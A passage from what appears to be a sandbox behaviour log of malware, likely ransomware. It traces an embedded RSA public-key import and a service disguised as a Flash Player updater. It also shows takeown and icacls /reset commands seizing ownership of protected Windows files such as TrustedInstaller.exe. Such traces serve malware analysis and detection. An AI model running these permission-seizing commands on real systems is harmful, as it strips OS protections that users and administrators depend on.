pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0xe07cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0xe07cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0257.548] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xe07cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x0, pcbStructInfo=0x18fd24) returned 1 [0257.551] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xe07cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0xe07f40, pcbStructInfo=0x18fd24 | out: pvStructInfo=0xe07f40, pcbStructInfo=0x18fd24) returned 1 [0257.551] CryptImportPublicKeyInfo (in: hCryptProv=0x5c2200, dwCertEncodingType=0x10001, pInfo=0xe07f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0xe07f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0xe07f78*, PublicKey.cUnusedBits=0x0), phKey=0x18fd28 | out: phKey=0x18fd28*=0x5c62c0) returned 1 [0257.552] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0xe07f40) returned 1 [0257.552] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0xe07cf8) returned 1 [0257.552] ReleaseMutex (hMutex=0xc4) returned 1 [0257.552] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0xe05058) returned 1 [0257.552] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x2800) returned 0xe05058 [0257.552] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c900 [0257.553] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c900) returned 1 [0257.553] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0xe05058) returned 1 [0257.553] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x2800) returned 0xe05058 [0257.553] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c900 [0257.556] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c900) returned 1 [0257.556] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c900 [0257.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x55c900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0257.556] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55e1e0 [0257.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x55c900, cbMultiByte=9, lpWideCharStr=0x55e1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0257.556] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55e268 [0257.556] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55e1e0) returned 1 [0257.556] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55e268) returned 1 [0257.556] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c900) returned 1 [0257.556] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0xe05058) returned 1 [0257.556] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0xe02850) returned 1 [0257.557] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.557] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d258) returned 1 [0257.557] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c240) returned 1 [0257.557] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d268) returned 1 [0257.557] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.557] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d278) returned 1 [0257.557] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.557] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d288) returned 1 [0257.557] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d5e8) returned 1 [0257.557] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0257.557] StartServiceCtrlDispatcherW (lpServiceTable=0x18fdf0*(lpServiceName="", lpServiceProc=0x40d040)) [0260.731] SetServiceStatus (hServiceStatus=0x5c9608, lpServiceStatus=0x18fcf0*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 Thread: id = 1056 os_tid = 0x5e0 Thread: id = 1057 os_tid = 0x5fc Thread: id = 1058 os_tid = 0x5f8 Thread: id = 1059 os_tid = 0x5d8 [0257.647] RegisterServiceCtrlHandlerW (lpServiceName="", lpHandlerProc=0x40ce51) returned 0x5c9608 [0257.647] SetServiceStatus (hServiceStatus=0x5c9608, lpServiceStatus=0x15cff4c*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0257.661] GetCommandLineW () returned="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" [0257.661] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", pNumArgs=0x15cff38 | out: pNumArgs=0x15cff38) returned 0x5cb638*="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" [0257.661] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x55d5e8 [0257.661] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d288 [0257.661] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55e268 [0257.661] LocalFree (hMem=0x5cb638) returned 0x0 [0257.661] Wow64DisableWow64FsRedirection (in: OldValue=0x15cff34 | out: OldValue=0x15cff34*=0x0) returned 1 [0257.661] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x800) returned 0xe07cf8 [0257.661] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xe07cf8, nSize=0x200 | out: lpFilename="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe")) returned 0x3f [0257.662] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55e1e0 [0257.662] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55e2f0 [0257.662] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55e1e0) returned 1 [0257.662] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55e2f0) returned 1 [0257.662] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x5c) returned 0x55dd28 [0257.662] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55e2f0 [0257.662] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55e1e0 [0257.662] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55e378 [0257.662] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55e400 [0257.662] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55e488 [0257.662] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55e510 [0257.662] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55e598 [0257.662] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55e620 [0257.662] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55e6a8 [0257.662] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55e730 [0257.662] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55e7b8 [0257.662] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55e840 [0257.662] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x100) returned 0xe08500 [0257.662] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0xe08500, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0257.662] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0xe08500) returned 1 [0257.662] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55e840) returned 1 [0257.662] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55e840 [0257.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0257.662] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x55c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0257.662] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.662] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.662] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55e840) returned 1 [0257.662] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.662] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c240 [0257.663] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.663] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c900 [0257.663] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c948 [0257.663] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c990 [0257.663] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x5000) returned 0xe02850 [0257.663] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c9d8 [0257.663] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c9d8) returned 1 [0257.663] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0257.664] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0xe02850) returned 1 [0257.664] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5bcfd8, lpbSaclPresent=0x15cfd68, pSacl=0x15cfdbc, lpbSaclDefaulted=0x15cfd68 | out: lpbSaclPresent=0x15cfd68, pSacl=0x15cfdbc, lpbSaclDefaulted=0x15cfd68) returned 1 [0257.664] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c9d8 [0257.664] CreateEventA (lpEventAttributes=0x15cfdb0, bManualReset=1, bInitialState=0, lpName="") returned 0x134 [0257.665] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c9d8) returned 1 [0257.665] GetLastError () returned 0x0 [0257.665] LocalFree (hMem=0x5bcfd8) returned 0x0 [0257.665] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c9d8 [0257.665] CryptAcquireContextW (in: phProv=0x15cfda0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x15cfda0*=0x5cb6f0) returned 1 [0257.665] CryptCreateHash (in: hProv=0x5cb6f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x15cfda0 | out: phHash=0x15cfda0) returned 1 [0257.665] CryptHashData (hHash=0x5cb678, pbData=0x55c240, dwDataLen=0xb, dwFlags=0x0) returned 1 [0257.665] CryptGetHashParam (in: hHash=0x5cb678, dwParam=0x4, pbData=0x15cfda4, pdwDataLen=0x15cfdb0, dwFlags=0x0 | out: pbData=0x15cfda4, pdwDataLen=0x15cfdb0) returned 1 [0257.666] CryptGetHashParam (in: hHash=0x5cb678, dwParam=0x2, pbData=0x55c9d8, pdwDataLen=0x15cfda4, dwFlags=0x0 | out: pbData=0x55c9d8, pdwDataLen=0x15cfda4) returned 1 [0257.666] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55ca20 [0257.666] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x184) returned 0xe08500 [0257.666] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55ca68 [0257.666] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55cab0 [0257.666] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55caf8 [0257.666] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55cb40 [0257.666] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55cb88 [0257.666] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55cbd0 [0257.666] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0xe086a8 [0257.666] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0xe086f0 [0257.666] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0xe08738 [0257.666] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0xe08780 [0257.666] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0xe087c8 [0257.666] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0xe08810 [0257.666] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0xe08858 [0257.666] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0xe088a0 [0257.666] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0xe088e8 [0257.666] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0xe08930 [0257.666] CryptDestroyHash (hHash=0x5cb678) returned 1 [0257.666] CryptReleaseContext (hProv=0x5cb6f0, dwFlags=0x0) returned 1 [0257.666] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c9d8) returned 1 [0257.666] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c9d8 [0257.666] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0xe08978 [0257.666] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c9d8) returned 1 [0257.666] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c9d8 [0257.666] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c9d8) returned 1 [0257.666] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0xe08978) returned 1 [0257.666] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55ca20) returned 1 [0257.666] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55ca20 [0257.666] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x138 [0257.667] GetLastError () returned 0x0 [0257.667] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c9d8 [0257.667] CryptAcquireContextW (in: phProv=0x15cfda0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x15cfda0*=0x5cb6f0) returned 1 [0257.667] CryptCreateHash (in: hProv=0x5cb6f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x15cfda0 | out: phHash=0x15cfda0) returned 1 [0257.667] CryptHashData (hHash=0x5cb678, pbData=0x55c240, dwDataLen=0xb, dwFlags=0x0) returned 1 [0257.667] CryptGetHashParam (in: hHash=0x5cb678, dwParam=0x4, pbData=0x15cfda4, pdwDataLen=0x15cfdb0, dwFlags=0x0 | out: pbData=0x15cfda4, pdwDataLen=0x15cfdb0) returned 1 [0257.667] CryptGetHashParam (in: hHash=0x5cb678, dwParam=0x2, pbData=0x55c9d8, pdwDataLen=0x15cfda4, dwFlags=0x0 | out: pbData=0x55c9d8, pdwDataLen=0x15cfda4) returned 1 [0257.667] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0xe08978 [0257.667] CryptDestroyHash (hHash=0x5cb678) returned 1 [0257.668] CryptReleaseContext (hProv=0x5cb6f0, dwFlags=0x0) returned 1 [0257.668] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c9d8) returned 1 [0257.668] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c9d8 [0257.668] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0xe089c0 [0257.668] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c9d8) returned 1 [0257.668] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c9d8 [0257.668] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c9d8) returned 1 [0257.668] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0xe089c0) returned 1 [0257.668] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0xe08978) returned 1 [0257.668] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0xe08978 [0257.668] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0xe089c0 [0257.668] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0257.668] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0xe089c0) returned 1 [0257.668] GetLastError () returned 0x5 [0257.668] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0xe089c0 [0257.668] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0257.668] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0xe089c0) returned 1 [0257.668] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0xe089c0 [0257.668] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x13c [0257.668] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0xe089c0) returned 1 [0257.668] SetEvent (hEvent=0x138) returned 1 [0257.668] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0xffffffff) Process: id = "98" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x69814000" os_pid = "0x4c4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "80" os_parent_pid = "0x6cc" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\servicing\\TrustedInstaller.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1060 os_tid = 0x648 Thread: id = 1063 os_tid = 0x63c Process: id = "99" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x68a31000" os_pid = "0x794" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "41" os_parent_pid = "0x168" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1061 os_tid = 0x360 Thread: id = 1062 os_tid = 0x364 Process: id = "100" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x68619000" os_pid = "0x36c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "80" os_parent_pid = "0x6cc" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\servicing\\TrustedInstaller.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1064 os_tid = 0x61c Process: id = "101" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x68337000" os_pid = "0x5b8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "41" os_parent_pid = "0x168" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1065 os_tid = 0x2fc Thread: id = 1066 os_tid = 0x164 Process: id = "102" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x6a31e000" os_pid = "0x328" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "80" os_parent_pid = "0x6cc" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\system32\\locator.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1067 os_tid = 0x4c8 Thread: id = 1070 os_tid = 0x324 Process: id = "103" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x6843d000" os_pid = "0x614" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "41" os_parent_pid = "0x168" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1068 os_tid = 0x2f8 Thread: id = 1069 os_tid = 0x32c Process: id = "104" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x69923000" os_pid = "0x64c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "80" os_parent_pid = "0x6cc" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\system32\\locator.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1071 os_tid = 0x678 Process: id = "105" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x67443000" os_pid = "0x6c0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "41" os_parent_pid = "0x168" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" 